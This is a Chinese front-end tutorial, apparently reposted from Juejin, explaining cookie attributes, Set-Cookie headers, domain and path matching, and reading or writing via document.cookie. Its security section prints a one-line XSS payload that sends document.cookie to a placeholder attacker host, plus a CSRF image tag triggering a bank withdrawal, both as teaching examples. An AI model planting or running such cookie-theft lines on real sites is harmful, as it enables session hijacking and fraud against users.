前端须知的 Cookie 知识小结
cookie 是什么和使用場(chǎng)景
cookie 是服務(wù)器端保存在瀏覽器的一小段文本信息,瀏覽器每次向服務(wù)器端發(fā)出請(qǐng)求,都會(huì)附帶上這段信息(不是所有都帶上,具體的下文會(huì)介紹)
使用場(chǎng)景:
- 對(duì)話管理:保存登錄、購(gòu)物車等需要記錄的信息
- 個(gè)性化:保存用戶的偏好,比如網(wǎng)頁(yè)的字體大小、背景色等等
- 追蹤:記錄和分析用戶的行為
以上用得較多的還是第一種場(chǎng)景。
我們有時(shí)候用 cookie 作為客戶端儲(chǔ)存,可行但不推薦。因?yàn)?cookie 本身大小有所限制,而且會(huì)影響性能。存儲(chǔ)還是應(yīng)該考慮localStorage 、sesseionStorage 或者 indexDB
cookie 的幾個(gè)重要屬性
在了解各個(gè)屬性之前,我們先打開瀏覽器調(diào)試——Application——Cookies——選中一個(gè)域
上面就會(huì)有這些 cookie 的名稱,值,Domain,Path,Expires/Max-age,Size,HTTP,Secure
?
?
?
我們接下來就是要講這里面幾個(gè)重要的點(diǎn)
Expires 和 Max-Age
這兩個(gè)屬性涉及到 cookie 的存活時(shí)間
Expires 屬性指定一個(gè)具體的到期時(shí)間,到了這個(gè)指定的時(shí)間之后,瀏覽器就不再保留這個(gè) cookie ,它的值是 UTC 格式,可以使用 Date.prototype.toUTCString() 格式進(jìn)行轉(zhuǎn)換
設(shè)置如下:
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; 復(fù)制代碼Max-Age 屬性制定了從現(xiàn)在開始 cookie 存在的秒數(shù),比如 60 * 60 * 24 * 365(即一年)。過了這個(gè)時(shí)間以后,瀏覽器就不再保留這個(gè) Cookie
Max-Age 的優(yōu)先級(jí)會(huì)比 Expires 的高,主要的原因 Max-Age 所受的外界因素(比如客戶端的時(shí)間可能有誤)比較小。
如果兩者都不設(shè)置的,那么這個(gè) cookie 就是Session Cookie,也一旦關(guān)閉瀏覽器,瀏覽器就不會(huì)保留這個(gè)這個(gè) cookie
Domain 和 path
這兩個(gè)屬性決定了,HTTP 請(qǐng)求的時(shí)候,哪些請(qǐng)求會(huì)帶上哪些 Cookie,具體下面會(huì)做講解。
Secure 和 HttpOnly
Secure 屬性指定瀏覽器只有在加密協(xié)議 HTTPS 下,才能將這個(gè) Cookie 發(fā)送到服務(wù)器。另一方面,如果當(dāng)前協(xié)議是 HTTP,瀏覽器會(huì)自動(dòng)忽略服務(wù)器發(fā)來的 Secure 屬性。該屬性只是一個(gè)開關(guān),不需要指定值。如果通信是 HTTPS 協(xié)議,該開關(guān)自動(dòng)打開。
設(shè)置了 Secure 這個(gè)屬性,那么就會(huì)在 Secure 這一欄打鉤
?
?
?
HttpOnly 屬性指定該 Cookie 無法通過 JavaScript 腳本拿到,主要是Document.cookie 屬性、XMLHttpRequest 對(duì)象和Request API都拿不到該屬性。這樣就防止了該 Cookie 被腳本讀到,只有瀏覽器發(fā)出 HTTP 請(qǐng)求時(shí),才會(huì)帶上該 Cookie。
設(shè)置了 HttpOnly 這個(gè)屬性,那么就會(huì)在 HTTP 這一欄打鉤
?
?
?
cookie 和 HTTP 協(xié)議
HTTP response——cookie 生成
如果服務(wù)器端希望在瀏覽器種 cookie,那么它只需要在 HTTP 請(qǐng)求頭信息中,放置一個(gè) Set-Cookie 的字段。舉個(gè)例子:
Set-Cookie:foo=bar
那么就會(huì)在瀏覽器種保存一個(gè)名為 foo,值為 bar 的 cookie
除了值之外,還可以設(shè)置其他的屬性
Set-Cookie: <cookie-name>=<cookie-value>; Expires=<date> Set-Cookie: <cookie-name>=<cookie-value>; Max-Age=<non-zero-digit> Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value> Set-Cookie: <cookie-name>=<cookie-value>; Path=<path-value> Set-Cookie: <cookie-name>=<cookie-value>; Secure Set-Cookie: <cookie-name>=<cookie-value>; HttpOnly 復(fù)制代碼當(dāng)然,一個(gè) Set-Cookie 字段是可以同時(shí)包含多個(gè)屬性(而且沒有次序要求),如下所示:
Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>; Secure; HttpOnly 復(fù)制代碼注意一點(diǎn)就是,如果你想要使用 Set-Cookie 修改一個(gè)已經(jīng)存在的 cookie 的值,那么要注意,你必須匹配原有的所有的屬性值(如果存在的話),否則就會(huì)生成一個(gè)新的 cookie,而不是修改它的值
比如,原有的 cookie 為:
Set-Cookie: key1=value1; domain=example.com; path=/blog 復(fù)制代碼那么你正確的修改方式應(yīng)該是:
Set-Cookie: key1=value2; domain=example.com; path=/blog 復(fù)制代碼如果你的修改方式如下的話:
Set-Cookie: key1=value2; domain=example.com; path=/ 復(fù)制代碼就會(huì)在瀏覽器端設(shè)置兩個(gè)同名的 cookie 如下:
Cookie: key1=value1; key1=value2 復(fù)制代碼這不是我們希望看到的!
HTTP request——cookie 發(fā)送
這里涉及到一個(gè)問題,是不是每個(gè)請(qǐng)求我們都會(huì)帶上所有的 cookie,顯然不是的,要不性能就會(huì)十分低下了。那么瀏覽器是根據(jù)什么判別哪些請(qǐng)求會(huì)帶上哪些 cookie 呢?
這就跟 Domain 和 path 屬性息息相關(guān)了
比如,現(xiàn)在一個(gè) cookie 它的 Domain 屬性為 www.example.com,path 屬性值為 /。意味著,這個(gè) cookie 對(duì)該域的根路徑以及它的所有子路徑都有效。如果我們修改了它的 path 值,為 /forums,那么這個(gè) cookie 只要在訪問 www.example.com/forums 及其子路徑時(shí)才會(huì)帶上。
cookie 和安全
會(huì)話劫持和XSS
在 Web 應(yīng)用中,cookie 常用來標(biāo)記用戶或授權(quán)會(huì)話,如果這些信息(cookie)會(huì)被竊取,可能導(dǎo)致授權(quán)用戶的會(huì)話從而網(wǎng)頁(yè)收到攻擊,比如:
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie; 復(fù)制代碼HttpOnly 類型的 cookie 就可以組織 Js 對(duì)其的訪問從而緩解這種攻擊
跨站點(diǎn)請(qǐng)求偽造(CSRF)
比如某個(gè)網(wǎng)站的圖片如下:
<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory"> 復(fù)制代碼當(dāng)你打開這個(gè)圖片的時(shí)候,如果你登錄之前的銀行賬號(hào)而且 cookie 仍然有效(還沒有其他驗(yàn)證的步驟,有點(diǎn)極端),那么你的賬戶就有可能有危險(xiǎn)了。
cookie 自動(dòng)刪除和手動(dòng)刪除
在了解 cookie 自動(dòng)刪除之前,我們先來了解小 cookie 的一些限制條件:
- 發(fā)送到服務(wù)器端的所有 cookie 的最大數(shù)量不能超出 4kb,所有超出該限制的 cookie 都會(huì)被截?cái)嗖⑶也粫?huì)發(fā)送到服務(wù)器端。
- IE7 以后限制每個(gè)域名下 cookie 的數(shù)量不得超過 50 個(gè),Opera 限定 cookie 的數(shù)量為 30個(gè),Safari 和 Chrome 就沒有這種限制。
其限制的原因,主要在于阻止 cookie 的濫用,而且 cookie 會(huì)被發(fā)送到服務(wù)器端,如果數(shù)量太大的話,會(huì)嚴(yán)重影響請(qǐng)求的性能。以上這兩個(gè)限制條件,就是 cookie 為什么會(huì)被瀏覽器自動(dòng)刪除的原因了。
自動(dòng)刪除主要存在以下幾種可能:
- 會(huì)話 cookie(session cookie)在會(huì)話結(jié)束的時(shí)候(瀏覽器關(guān)閉)會(huì)被刪除
- 持久化 cookie(Persistent cookie)在到達(dá)失效日期的時(shí)候會(huì)被刪除
- 瀏覽器的 cookie 達(dá)到上限,會(huì)自動(dòng)清除,然后為新建的 cookie 騰出空間
document.cookie
對(duì)于前端而言,我們獲取 cookie 和設(shè)置 cookie 都是通過 document.cookie 的方式進(jìn)行的。
讀取 cookie
獲取如下(當(dāng)然是這個(gè) cookie 沒有 HttpOnly 屬性)
?
?
?
可以看到,document.cookie 是將所有的可以讀的 cookie 一次性讀出來的,使用分號(hào)分割,所以必須手動(dòng)的分割
var cookies = document.cookie.split(';');for (var i = 0; i < cookies.length; i++) {console.log(cookies[i]); } // foo=bar // baz=bar 復(fù)制代碼寫入cookie
我們可以通過 document.cookie 為當(dāng)前的網(wǎng)站添加 cookie
document.cookie = 'fontSize=14'; 復(fù)制代碼寫入的時(shí)候,Cookie 的值必須寫成 key=value 的形式。注意,等號(hào)兩邊不能有空格。另外,寫入 Cookie 的時(shí)候,必須對(duì)分號(hào)、逗號(hào)和空格進(jìn)行轉(zhuǎn)義(它們都不允許作為 Cookie 的值),這可以用 encodeURIComponent 方法達(dá)到。
但是,document.cookie一次只能寫入一個(gè) Cookie,而且寫入并不是覆蓋,而是添加。
document.cookie = 'test1=hello'; document.cookie = 'test2=world'; document.cookie // test1=hello;test2=world 復(fù)制代碼寫入 Cookie 的時(shí)候,可以一起寫入 Cookie 的屬性。
例如:
document.cookie = 'fontSize=14; '+ 'expires=' + someDate.toGMTString() + '; '+ 'path=/subdirectory; '+ 'domain=*.example.com'; 復(fù)制代碼刪除 cookie
刪除一個(gè)現(xiàn)存 Cookie 的唯一方法,是設(shè)置它的 expires 屬性為一個(gè)過去的日期。
document.cookie = 'fontSize=;expires=Thu, 01-Jan-1970 00:00:01 GMT'; 復(fù)制代碼?
作者:Gping
鏈接:https://juejin.im/post/5cd60dd751882520365ab55a
來源:掘金
著作權(quán)歸作者所有。商業(yè)轉(zhuǎn)載請(qǐng)聯(lián)系作者獲得授權(quán),非商業(yè)轉(zhuǎn)載請(qǐng)注明出處。
總結(jié)
以上是生活随笔為你收集整理的前端须知的 Cookie 知识小结的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 股票红和绿代表什么
- 下一篇: HTML与XHTML的区别